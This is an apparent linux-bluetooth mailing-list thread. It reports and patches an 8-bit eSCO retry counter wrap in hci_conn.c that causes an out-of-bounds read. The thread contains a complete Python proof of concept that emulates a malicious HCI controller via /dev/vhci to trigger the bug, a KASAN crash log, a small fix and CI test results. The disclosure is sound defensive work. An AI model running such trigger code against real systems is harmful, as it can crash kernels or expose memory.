* [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts
@ 2026-09-12 13:44 Zhiling Zou
2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:44 UTC (permalink / raw)
To: linux-bluetooth
Cc: marcel, luiz.dentz, chethan.tumkur.narayan, ravishankar.srivatsa,
kiran.k, vega, zhilinz
Hi Linux kernel maintainers,
We found and validated an issue in net/bluetooth/hci_conn.c. The bug is
reachable by a root user using a malicious HCI controller through
/dev/vhci.
We've tested it, and it should not affect any other functionality.
We will provide detailed information about the bug
in this email, along with a PoC to trigger it.
---- details below ----
Bug details:
hci_conn::attempt is an 8-bit counter. Repeated synchronous-connection
failure events queue more enhanced setup work while the connection stays
alive. The counter can wrap from 255 to zero.
find_next_esco_param() indexes the parameter table with
attempt - 1. After the wrap, this becomes an index before the static
table and produces a global out-of-bounds read. The wrapped value can
also be used when constructing the next enhanced synchronous-connection
command.
The fix rejects a zero attempt before the table lookup and immediately
after incrementing the counter in hci_enhanced_setup_sync().
Reproducer:
sysctl -w kernel.panic_on_warn=0
sh /root/poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
python3 -u - <<'PY'
import os
import socket
import struct
import subprocess
import threading
import time
import ctypes
import ctypes.util
VHCI = "/dev/vhci"
BDADDR_BYTES = bytes.fromhex("060504030201")
BDADDR_STR = "01:02:03:04:05:06"
ACL_HANDLE = 0x0042
SYNC_STATUS = 0x1F
CMD_RESET = 0x0C03
CMD_READ_LOCAL_VERSION = 0x1001
CMD_READ_LOCAL_COMMANDS = 0x1002
CMD_READ_LOCAL_FEATURES = 0x1003
CMD_READ_BUFFER_SIZE = 0x1005
CMD_READ_BD_ADDR = 0x1009
CMD_SET_EVENT_MASK = 0x0C01
CMD_READ_LOCAL_NAME = 0x0C14
CMD_WRITE_CA_TIMEOUT = 0x0C16
CMD_READ_CLASS_OF_DEV = 0x0C23
CMD_READ_VOICE_SETTING = 0x0C25
CMD_READ_NUM_SUPPORTED_IAC = 0x0C38
CMD_READ_CURRENT_IAC_LAP = 0x0C39
CMD_READ_INQ_RSP_TX_POWER = 0x0C46
CMD_CREATE_CONN = 0x0405
CMD_REMOTE_NAME_REQ = 0x0419
CMD_READ_REMOTE_FEATURES = 0x041B
CMD_SETUP_SYNC_CONN = 0x0428
CMD_ENHANCED_SETUP_SYNC_CONN = 0x043D
CMD_LE_READ_ACCEPT_LIST_SIZE = 0x080F
EVT_CMD_COMPLETE = 0x0E
EVT_CMD_STATUS = 0x0F
EVT_CONN_COMPLETE = 0x03
EVT_REMOTE_NAME = 0x07
EVT_REMOTE_FEATURES = 0x0B
EVT_SYNC_CONN_COMPLETE = 0x2C
def log(*args):
print(*args, flush=True)
fd = os.open(VHCI, os.O_RDWR)
os.write(fd, b"\xff\x00")
log("created vhci controller")
state = {
"conn_complete_sent": False,
"sync_spam_sent": False,
}
def send_event(evt, payload):
packet = bytes([0x04, evt, len(payload)]) + payload
os.write(fd, packet)
def cmd_complete(opcode, retparams):
send_event(EVT_CMD_COMPLETE, bytes([1]) + struct.pack("<H", opcode) + retparams)
def cmd_status(opcode, status=0):
send_event(EVT_CMD_STATUS, bytes([status, 1]) + struct.pack("<H", opcode))
def send_conn_complete(status=0):
payload = (
bytes([status])
+ struct.pack("<H", ACL_HANDLE)
+ BDADDR_BYTES
+ bytes([0x01, 0x00])
)
send_event(EVT_CONN_COMPLETE, payload)
log("sent ACL conn complete", hex(status))
def send_remote_features(status=0):
payload = bytes([status]) + struct.pack("<H", ACL_HANDLE) + (b"\x00" * 8)
send_event(EVT_REMOTE_FEATURES, payload)
log("sent remote features", hex(status))
def send_remote_name(status=0):
name = b"vhci-remote"
payload = bytes([status]) + BDADDR_BYTES + name + (b"\x00" * (248 - len(name)))
send_event(EVT_REMOTE_NAME, payload)
log("sent remote name", hex(status))
def spam_sync_failures():
# The first enhanced setup uses attempt=2 because the remote features are
# still all zero at this point; 254 more queued retries are enough to wrap
# the u8 counter back to zero inside hci_enhanced_setup_sync().
time.sleep(0.05)
payload = (
bytes([SYNC_STATUS])
+ struct.pack("<H", 0)
+ BDADDR_BYTES
+ bytes([0x02, 0x00, 0x00])
+ struct.pack("<H", 0)
+ struct.pack("<H", 0)
+ bytes([0x00])
)
for _ in range(300):
send_event(EVT_SYNC_CONN_COMPLETE, payload)
log("sent 300 synchronous-connection failure events")
def handle_command(opcode, params):
if opcode == CMD_RESET:
cmd_complete(opcode, b"\x00")
return
if opcode == CMD_READ_LOCAL_FEATURES:
features = bytearray(8)
features[2] |= 0x08 # LMP_TRANSPARENT
features[3] |= 0x80 # LMP_ESCO
cmd_complete(opcode, b"\x00" + bytes(features))
return
if opcode == CMD_READ_LOCAL_VERSION:
reply = struct.pack("<BBHBHH", 0x00, 0x09, 0x0000, 0x09, 0x0000, 0x0000)
cmd_complete(opcode, reply)
return
if opcode == CMD_READ_LOCAL_COMMANDS:
commands = bytearray(64)
commands[1] |= 0x20 # Reset
commands[5] |= 0x10 # Create Connection
commands[6] |= 0x10 # Read Local Name
commands[8] |= 0x20 # Read Local Version
commands[8] |= 0x40 # Read Local Commands
commands[8] |= 0x80 # Read Local Features
commands[9] |= 0x04 # Read Voice Setting
commands[10] |= 0x20 # Read Buffer Size
commands[10] |= 0x80 # Read BD_ADDR
commands[12] |= 0x02 # Read Class of Device
commands[12] |= 0x08 # Read Voice Setting
commands[12] |= 0x80 # Read Num Supported IAC
commands[13] |= 0x01 # Read Current IAC LAP
commands[16] |= 0x04 # Read Remote Features
commands[29] |= 0x08 # Enhanced Setup Synchronous Connection
cmd_complete(opcode, b"\x00" + bytes(commands))
return
if opcode == CMD_READ_BUFFER_SIZE:
reply = struct.pack("<BHBHH", 0x00, 1021, 64, 8, 8)
cmd_complete(opcode, reply)
return
if opcode == CMD_READ_BD_ADDR:
cmd_complete(opcode, b"\x00" + bytes.fromhex("aabbccddeeff"))
return
if opcode == CMD_SET_EVENT_MASK:
cmd_complete(opcode, b"\x00")
return
if opcode == CMD_READ_LOCAL_NAME:
name = b"vhci-poc"
cmd_complete(opcode, b"\x00" + name + (b"\x00" * (248 - len(name))))
return
if opcode == CMD_WRITE_CA_TIMEOUT:
cmd_complete(opcode, b"\x00")
return
if opcode == CMD_READ_CLASS_OF_DEV:
cmd_complete(opcode, b"\x00\x00\x00\x00")
return
if opcode == CMD_READ_VOICE_SETTING:
cmd_complete(opcode, struct.pack("<BH", 0x00, 0x0060))
return
if opcode == CMD_READ_NUM_SUPPORTED_IAC:
cmd_complete(opcode, b"\x00\x01")
return
if opcode == CMD_READ_CURRENT_IAC_LAP:
cmd_complete(opcode, b"\x00\x01\x33\x8b\x9e")
return
if opcode == CMD_READ_INQ_RSP_TX_POWER:
cmd_complete(opcode, b"\x00\x00")
return
if opcode == CMD_LE_READ_ACCEPT_LIST_SIZE:
cmd_complete(opcode, b"\x00\x00")
return
if opcode == CMD_CREATE_CONN:
log("saw HCI_OP_CREATE_CONN", params.hex())
cmd_status(opcode, 0)
if not state["conn_complete_sent"]:
state["conn_complete_sent"] = True
threading.Thread(
target=lambda: (time.sleep(0.05), send_conn_complete(0)),
daemon=True,
).start()
return
if opcode == CMD_READ_REMOTE_FEATURES:
log("saw HCI_OP_READ_REMOTE_FEATURES")
cmd_status(opcode, 0)
threading.Thread(
target=lambda: (time.sleep(0.02), send_remote_features(0)),
daemon=True,
).start()
return
if opcode == CMD_REMOTE_NAME_REQ:
log("saw HCI_OP_REMOTE_NAME_REQ")
cmd_status(opcode, 0)
threading.Thread(
target=lambda: (time.sleep(0.02), send_remote_name(0)),
daemon=True,
).start()
return
if opcode in (CMD_SETUP_SYNC_CONN, CMD_ENHANCED_SETUP_SYNC_CONN):
log(f"saw sync setup opcode 0x{opcode:04x}", params.hex())
cmd_status(opcode, 0)
if not state["sync_spam_sent"]:
state["sync_spam_sent"] = True
threading.Thread(target=spam_sync_failures, daemon=True).start()
return
log(f"replying success to unexpected opcode 0x{opcode:04x}", params.hex())
cmd_complete(opcode, b"\x00")
def vhci_reader():
while True:
packet = os.read(fd, 4096)
if not packet:
log("vhci read EOF")
return
pkt_type = packet[0]
if pkt_type != 0x01:
log("RX non-command packet", packet.hex())
continue
opcode, plen = struct.unpack_from("<HB", packet, 1)
params = packet[4 : 4 + plen]
log(f"RX command opcode=0x{opcode:04x} len={plen}")
handle_command(opcode, params)
reader = threading.Thread(target=vhci_reader, daemon=True)
reader.start()
for _ in range(100):
if os.path.exists("/sys/class/bluetooth/hci0"):
break
time.sleep(0.1)
for attempt in range(5):
rc = subprocess.call("hciconfig hci0 up", shell=True)
log("hciconfig up rc", rc, "attempt", attempt)
time.sleep(0.2)
try:
info = subprocess.check_output("hciconfig -a hci0 || true", shell=True, text=True)
except Exception as exc:
log("hciconfig query failed", repr(exc))
info = ""
if info:
print(info, end="", flush=True)
if "RUNNING" in info:
break
log("attempting SCO connect")
sco = socket.socket(
socket.AF_BLUETOOTH,
socket.SOCK_SEQPACKET,
getattr(socket, "BTPROTO_SCO", 2),
)
sco.setsockopt(getattr(socket, "SOL_BLUETOOTH", 274), 11, struct.pack("<H", 0x0003))
class SockaddrSco(ctypes.Structure):
_fields_ = [
("sco_family", ctypes.c_ushort),
("sco_bdaddr", ctypes.c_ubyte * 6),
]
libc = ctypes.CDLL(ctypes.util.find_library("c"), use_errno=True)
addr = SockaddrSco()
addr.sco_family = socket.AF_BLUETOOTH
for i, value in enumerate(BDADDR_BYTES):
addr.sco_bdaddr[i] = value
try:
ret = libc.connect(
sco.fileno(),
ctypes.byref(addr),
ctypes.sizeof(addr),
)
if ret != 0:
err = ctypes.get_errno()
raise OSError(err, os.strerror(err))
log("connect returned")
except Exception as exc:
log("connect raised", repr(exc))
while True:
time.sleep(1)
PY
------END poc.sh--------
----BEGIN crash log----
[ 250.143377] [ T69] BUG: KASAN: global-out-of-bounds in find_next_esco_param.part.0+0x165/0x1c0
[ 250.143612] [ T69] Read of size 2 at addr ffffffff8bc334da by task kworker/u17:0/69
[ 250.143705] [ T69] CPU: 3 UID: 0 PID: 69 Comm: kworker/u17:0 Not tainted 6.12.95 #2
[ 250.143717] [ T69] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 250.143729] [ T69] Workqueue: hci0 hci_cmd_sync_work
[ 250.143844] [ T69] Call Trace:
[ 250.143871] [ T69] <TASK>
[ 250.143883] [ T69] dump_stack_lvl+0x78/0xe0
[ 250.144003] [ T69] print_report+0xc6/0x620
[ 250.144144] [ T69] ? find_next_esco_param.part.0+0x165/0x1c0
[ 250.144177] [ T69] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.144233] [ T69] ? __virt_addr_valid+0x1f3/0x3d0
[ 250.144322] [ T69] ? find_next_esco_param.part.0+0x165/0x1c0
[ 250.144334] [ T69] kasan_report+0xd8/0x110
[ 250.144351] [ T69] ? find_next_esco_param.part.0+0x165/0x1c0
[ 250.144376] [ T69] find_next_esco_param.part.0+0x165/0x1c0
[ 250.144397] [ T69] hci_enhanced_setup_sync+0x913/0xca0
[ 250.144413] [ T69] ? __pfx_hci_enhanced_setup_sync+0x10/0x10
[ 250.144423] [ T69] ? __pfx___mutex_lock+0x10/0x10
[ 250.144487] [ T69] ? __pfx___mutex_unlock_slowpath+0x10/0x10
[ 250.144506] [ T69] ? cfrfml_transmit+0xa0/0x650
[ 250.144573] [ T69] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 250.144650] [ T69] hci_cmd_sync_work+0x18d/0x3a0
[ 250.144676] [ T69] process_one_work+0x855/0x1ac0
[ 250.144771] [ T69] ? __pfx_lock_acquire.part.0+0x10/0x10
[ 250.144784] [ T69] ? __pfx_process_one_work+0x10/0x10
[ 250.144810] [ T69] ? srso_alias_return_thunk+0x5/0xfbef5
[ 250.144827] [ T69] worker_thread+0x4f4/0xd60
[ 250.144860] [ T69] ? __pfx_worker_thread+0x10/0x10
[ 250.144870] [ T69] kthread+0x27e/0x350
[ 250.144891] [ T69] ? _raw_spin_unlock_irq+0x28/0x50
[ 250.144902] [ T69] ? __pfx_kthread+0x10/0x10
[ 250.144914] [ T69] ret_from_fork+0x31/0x70
[ 250.144968] [ T69] ? __pfx_kthread+0x10/0x10
[ 250.144977] [ T69] ret_from_fork_asm+0x1a/0x30
[ 250.145053] [ T69] </TASK>
[ 250.145142] [ T69] The buggy address belongs to the variable:
[ 250.145151] [ T69] __func__.53+0x7a/0x80
[ 250.145260] [ T69] The buggy address belongs to the physical page:
[ 250.145283] [ T69] page: refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xbc33
[ 250.145312] [ T69] flags: 0xfff00000002000(reserved|node=0|zone=1|lastcpupid=0x7ff)
[ 250.145354] [ T69] raw: 00fff00000002000 ffffea00002f0cc8 ffffea00002f0cc8 0000000000000000
[ 250.145367] [ T69] raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000
[ 250.145377] [ T69] page dumped because: kasan: bad access detected
[ 250.145404] [ T69] page_owner info is not present (never set?)
[ 250.146486] [ T69] Memory state around the buggy address:
[ 250.146497] [ T69] ffffffff8bc33380: f9 f9 f9 f9 00 00 05 f9 f9 f9 f9 f9 00 00 00 f9
[ 250.146509] [ T69] ffffffff8bc33400: f9 f9 f9 f9 00 07 f9 f9 f9 f9 f9 f9 00 06 f9 f9
[ 250.146520] [ T69] >ffffffff8bc33480: f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9 00 04 f9 f9
[ 250.146530] [ T69] ^
[ 250.146542] [ T69] ffffffff8bc33500: f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9 00 00 00 06
[ 250.146572] [ T69] ffffffff8bc33580: f9 f9 f9 f9 00 00 00 00 01 f9 f9 f9 f9 f9 f9 f9
[ 250.146582] [ T69] ==================================================================
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
Bluetooth: prevent wrapped eSCO connection attempts
net/bluetooth/hci_conn.c | 4 ++++
1 file changed, 4 insertions(+)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net 1/1] Bluetooth: prevent wrapped eSCO connection attempts
2026-09-12 13:44 [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts Zhiling Zou
@ 2026-09-12 13:45 ` Zhiling Zou
2026-09-12 16:25 ` bluez.test.bot
0 siblings, 1 reply; 3+ messages in thread
From: Zhiling Zou @ 2026-09-12 13:45 UTC (permalink / raw)
To: linux-bluetooth
Cc: marcel, luiz.dentz, chethan.tumkur.narayan, ravishankar.srivatsa,
kiran.k, vega, zhilinz
The eSCO retry counter is an 8-bit value. Repeated synchronous
connection failures can wrap it to zero, after which the eSCO parameter
lookup uses an index before the start of its static table.
Reject a wrapped attempt before the lookup and before building another
enhanced synchronous-connection command.
Fixes: b2af264ad3af ("Bluetooth: Add support for HCI_Enhanced_Setup_Synchronous_Connection command")
Cc: stable@vger.kernel.org
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Zhiling Zou <zhilinz@nebusec.ai>
---
net/bluetooth/hci_conn.c | 4 ++++
1 file changed, 4 insertions(+)
diff --git a/net/bluetooth/hci_conn.c b/net/bluetooth/hci_conn.c
index 8de98af2fb581..582b85f063874 100644
--- a/net/bluetooth/hci_conn.c
+++ b/net/bluetooth/hci_conn.c
@@ -217,6 +217,8 @@ static bool find_next_esco_param(struct hci_conn *conn,
{
if (!conn->parent)
return false;
+ if (!conn->attempt)
+ return false;
for (; conn->attempt <= size; conn->attempt++) {
if (lmp_esco_2m_capable(conn->parent) ||
@@ -294,6 +296,8 @@ static int hci_enhanced_setup_sync(struct hci_dev *hdev, void *data)
conn->out = true;
conn->attempt++;
+ if (!conn->attempt)
+ return -EINVAL;
memset(&cp, 0x00, sizeof(cp));
--
2.43.0
^ permalink raw reply related [flat|nested] 3+ messages in thread
* RE: Bluetooth: prevent wrapped eSCO connection attempts
2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
@ 2026-09-12 16:25 ` bluez.test.bot
0 siblings, 0 replies; 3+ messages in thread
From: bluez.test.bot @ 2026-09-12 16:25 UTC (permalink / raw)
To: linux-bluetooth, zhilinz
[-- Attachment #1: Type: text/plain, Size: 3106 bytes --]
This is automated email and please do not reply to this email!
Dear submitter,
Thank you for submitting the patches to the linux bluetooth mailing list.
This is a CI test results with your patch series:
PW Link:https://patchwork.kernel.org/series/1163506/
---Test result---
Test Summary:
CheckPatch FAIL 0.50 seconds
VerifyFixes PASS 0.07 seconds
VerifySignedoff PASS 0.07 seconds
GitLint PASS 0.21 seconds
SubjectPrefix PASS 0.07 seconds
BuildKernel PASS 21.29 seconds
CheckAllWarning PASS 24.35 seconds
CheckSparse PASS 26.26 seconds
BuildKernel32 PASS 21.42 seconds
CheckKernelLLVM PASS 23.48 seconds
TestRunnerSetup PASS 561.15 seconds
TestRunner_l2cap-tester PASS 33.71 seconds
TestRunner_iso-tester PASS 88.69 seconds
TestRunner_bnep-tester PASS 9.55 seconds
TestRunner_mgmt-tester FAIL 114.91 seconds
TestRunner_rfcomm-tester PASS 12.74 seconds
TestRunner_sco-tester PASS 17.11 seconds
TestRunner_ioctl-tester PASS 13.50 seconds
TestRunner_mesh-tester FAIL 15.62 seconds
TestRunner_smp-tester PASS 12.04 seconds
TestRunner_userchan-tester PASS 9.99 seconds
TestRunner_6lowpan-tester PASS 12.32 seconds
IncrementalBuild PASS 20.40 seconds
Details
##############################
Test: CheckPatch - FAIL
Desc: Run checkpatch.pl script
Output:
[net,1/1] Bluetooth: prevent wrapped eSCO connection attempts
WARNING: Reported-by: should be immediately followed by Closes: or Link: with a URL to the report
#116:
Reported-by: VEGA <vega@nebusec.ai>
Assisted-by: LLM
WARNING: Assisted-by expects 'AGENT_NAME:MODEL_VERSION [TOOL1] [TOOL2]' format
#117:
Assisted-by: LLM
total: 0 errors, 2 warnings, 0 checks, 16 lines checked
NOTE: For some of the reported defects, checkpatch may be able to
mechanically convert to the typical style using --fix or --fix-inplace.
/github/workspace/src/patch/14810664.patch has style problems, please review.
NOTE: Ignored message types: UNKNOWN_COMMIT_ID
NOTE: If any of the errors are false positives, please report
them to the maintainer, see CHECKPATCH in MAINTAINERS.
##############################
Test: TestRunner_mgmt-tester - FAIL
Desc: Run mgmt-tester with test-runner
Output:
Total: 501, Passed: 496 (99.0%), Failed: 1, Not Run: 4
Failed Test Cases
Read Exp Feature - Success Failed 0.100 seconds
##############################
Test: TestRunner_mesh-tester - FAIL
Desc: Run mesh-tester with test-runner
Output:
Total: 10, Passed: 8 (80.0%), Failed: 2, Not Run: 0
Failed Test Cases
Mesh - Send cancel - 1 Timed out 2.737 seconds
Mesh - Send cancel - 2 Timed out 1.997 seconds
https://github.com/bluez/bluetooth-next/pull/756
---
Regards,
Linux Bluetooth
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-12 16:25 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-12 13:44 [PATCH net 0/1] Bluetooth: prevent wrapped eSCO connection attempts Zhiling Zou
2026-09-12 13:45 ` [PATCH net 1/1] " Zhiling Zou
2026-09-12 16:25 ` bluez.test.bot
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox